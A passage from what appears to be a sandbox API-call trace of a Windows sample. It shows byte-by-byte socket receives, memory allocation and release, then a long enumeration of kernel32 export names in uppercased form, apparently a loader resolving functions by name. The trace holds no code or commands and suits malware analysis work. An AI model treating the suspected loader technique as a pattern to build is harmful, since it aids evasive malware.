out: buf=0x2c4f882*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f883, len=1, flags=0 | out: buf=0x2c4f883*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f884, len=1, flags=0 | out: buf=0x2c4f884*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f885, len=1, flags=0 | out: buf=0x2c4f885*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f886, len=1, flags=0 | out: buf=0x2c4f886*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f887, len=1, flags=0 | out: buf=0x2c4f887*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f888, len=1, flags=0 | out: buf=0x2c4f888*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f889, len=1, flags=0 | out: buf=0x2c4f889*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f88a, len=1, flags=0 | out: buf=0x2c4f88a*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f88b, len=1, flags=0 | out: buf=0x2c4f88b*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f88c, len=1, flags=0 | out: buf=0x2c4f88c*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f88d, len=1, flags=0 | out: buf=0x2c4f88d*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f88e, len=1, flags=0 | out: buf=0x2c4f88e*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f88f, len=1, flags=0 | out: buf=0x2c4f88f*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f890, len=1, flags=0 | out: buf=0x2c4f890*) returned 1 [0056.652] recv (in: s=0x1fc, buf=0x2c4f891, len=1, flags=0 | out: buf=0x2c4f891*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f892, len=1, flags=0 | out: buf=0x2c4f892*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f893, len=1, flags=0 | out: buf=0x2c4f893*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f894, len=1, flags=0 | out: buf=0x2c4f894*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f895, len=1, flags=0 | out: buf=0x2c4f895*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f896, len=1, flags=0 | out: buf=0x2c4f896*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f897, len=1, flags=0 | out: buf=0x2c4f897*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f898, len=1, flags=0 | out: buf=0x2c4f898*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f899, len=1, flags=0 | out: buf=0x2c4f899*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f89a, len=1, flags=0 | out: buf=0x2c4f89a*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f89b, len=1, flags=0 | out: buf=0x2c4f89b*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f89c, len=1, flags=0 | out: buf=0x2c4f89c*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f89d, len=1, flags=0 | out: buf=0x2c4f89d*) returned 1 [0056.653] recv (in: s=0x1fc, buf=0x2c4f89e, len=1, flags=0 | out: buf=0x2c4f89e*) returned 1 [0056.654] recv (in: s=0x1fc, buf=0x2c4f89f, len=1, flags=0 | out: buf=0x2c4f89f*) returned 1 [0056.654] recv (in: s=0x1fc, buf=0x2c4f8a0, len=1, flags=0 | out: buf=0x2c4f8a0*) returned 1 [0056.654] recv (in: s=0x1fc, buf=0x2c4f8a1, len=1, flags=0 | out: buf=0x2c4f8a1*) returned 1 [0056.654] recv (in: s=0x1fc, buf=0x2c4f8a2, len=1, flags=0 | out: buf=0x2c4f8a2*) returned 1 [0056.654] recv (in: s=0x1fc, buf=0x2c4f8a3, len=1, flags=0 | out: buf=0x2c4f8a3*) returned 1 [0056.654] recv (in: s=0x1fc, buf=0x2c4f8a4, len=1, flags=0 | out: buf=0x2c4f8a4*) returned 1 [0056.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x3000, flProtect=0x4) returned 0x0 [0056.654] recv (in: s=0x1fc, buf=0x0, len=0, flags=0 | out: buf=0x0) returned 0 [0056.654] VirtualFree (lpAddress=0x2f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.655] VirtualFree (lpAddress=0x2f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.655] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.655] closesocket (s=0x1fc) returned 0 [0056.655] WSACleanup () returned 0 [0056.689] lstrlenA (lpString="kernel32.dll") returned 12 [0056.689] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0056.689] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0056.689] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0056.689] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0056.690] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0056.690] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0056.690] lstrlenA (lpString="ADDATOMA") returned 8 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0056.690] lstrlenA (lpString="ADDATOMW") returned 8 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0056.690] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0056.690] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0056.690] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0056.690] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0056.690] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0056.690] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0056.690] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0056.690] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0056.690] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0056.690] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0056.690] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0056.690] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0056.690] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0056.690] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0056.691] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0056.691] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0056.691] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0056.691] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0056.691] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0056.691] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0056.691] lstrlenA (lpString="BACKUPREAD") returned 10 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0056.691] lstrlenA (lpString="BACKUPSEEK") returned 10 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0056.691] lstrlenA (lpString="BACKUPWRITE") returned 11 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0056.691] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0056.691] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0056.691] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0056.691] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0056.691] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0056.691] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0056.691] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0056.691] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0056.691] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0056.692] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0056.692] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0056.692] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0056.692] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0056.692] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0056.692] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0056.692] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0056.692] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0056.692] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0056.692] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0056.692] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0056.692] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0056.692] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0056.692] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0056.692] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0056.692] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0056.692] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0056.692] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0056.693] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0056.693] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0056.693] lstrlenA (lpString="BEEP") returned 4 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0056.693] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0056.693] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0056.693] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0056.693] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0056.693] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0056.693] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0056.693] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0056.693] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0056.693] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0056.693] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0056.693] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0056.693] lstrlenA (lpString="CANCELIO") returned 8 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0056.693] lstrlenA (lpString="CANCELIOEX") returned 10 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0056.693] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0056.693] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0056.694] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0056.694] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0056.694] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0056.694] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0056.694] lstrlenA (lpString="CHECKELEVATION") returned 14 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0056.694] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0056.694] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0056.694] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0056.694] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0056.694] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0056.694] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0056.694] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0056.694] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0056.694] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0056.694] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0056.694] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0056.694] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0056.694] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0056.694] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0056.695] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0056.695] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0056.695] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0056.695] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0056.695] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0056.695] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0056.695] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0056.695] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0056.695] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0056.695] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0056.695] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0056.695] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0056.695] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0056.695] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, 